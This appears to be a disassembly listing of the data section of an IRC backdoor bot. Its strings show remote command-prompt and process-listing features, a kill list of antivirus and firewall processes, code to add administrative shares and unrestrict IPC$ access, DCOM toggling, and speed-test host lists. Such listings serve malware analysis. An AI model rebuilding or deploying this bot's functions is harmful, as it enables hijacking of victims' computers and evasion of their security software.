unk_439CF0	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 10h
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EAC	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 10h
unk_439EE0	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 4
dword_43A1E8	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A214	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A240	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A348
		dd offset dword_43A33C
		dd offset dword_43A330
		dd offset dword_43A324
		dd offset dword_43A318
		dd offset dword_43A30C
		dd offset dword_43A2FC
		dd offset dword_43A2F0
		dd offset dword_43A2E4
		dd offset dword_43A2D8
		dd offset dword_43A2CC
		dd offset dword_43A2BC
		dd offset dword_43A2B0
		dd offset dword_43A2A0
dword_43A2A0	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A29Co
dword_43A2B0	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A298o
dword_43A2BC	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A294o
dword_43A2CC	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A290o
dword_43A2D8	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co
dword_43A2E4	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A288o
dword_43A2F0	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A284o
dword_43A2FC	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A280o
dword_43A30C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A27Co
dword_43A318	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A278o
dword_43A324	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A330	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A33C	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A348	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A268o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A264o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A260o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A25Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A258o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A254o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A250o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A24Co
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A248o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A244o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A240o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 4
unk_43A3F8	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A41C	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_43A440	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A470	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A4A0	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A4C8	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A4F8	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A52C	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A550	dd offset dword_43A588	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 8
		dd offset dword_43A580
		align 10h
off_43A560	dd offset dword_43A57C	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A578
		dd offset dword_43A574
		dd offset off_43A570
off_43A570	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A56Co
dword_43A574	dd 2444h		; DATA XREF: ___:0043A568o
off_43A578	dd offset byte_5C3A43	; DATA XREF: ___:0043A564o
dword_43A57C	dd 2443h		; DATA XREF: ___:off_43A560o
dword_43A580	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A558o
dword_43A588	dd 24435049h, 0		; DATA XREF: ___:off_43A550o
dword_43A590	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A5C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A5E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A614	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A638	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A664	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A688	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A6B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6F4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A728	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 4
dword_43A778	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 4
dword_43A7F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A828	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A850	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A870	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8AC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8E4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A924	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A940	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A998	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43ABA4	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC80	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43ACA4	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE8	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACEC	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACF0	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF8	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD08	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43AD38	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD64	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD80	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADBC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD8	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADDC	dw 4			; DATA XREF: sub_41B55B+10r
		align 10h
dword_43ADE0	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADE4	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE8	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADEC	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADF0	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADF4	dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE10	dd 0BFCD9784h		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE20	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE2C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE38	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE3C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE50	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE54	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE60	dd offset off_43AE60	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE64	dd offset off_43AE60	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE78
		dd offset dword_43AE78
dword_43AE70	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE78	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE68o
					; ___:0043AE6Co
off_43CE80	dd offset off_43AE60	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE84	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE88	dd offset word_43CE92	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE8C	dd offset word_43CE92	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE92	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE88o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D094	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D098	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D0A0	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D0A4	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D0A8	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0B0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0B4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0C0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D1A0	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D1A4	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D308	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D310	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D318	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D31C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C614h, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D400	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D418	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D424	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D430	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D434	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D438	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D43C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D440	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D444	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D454	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D458	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D45C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
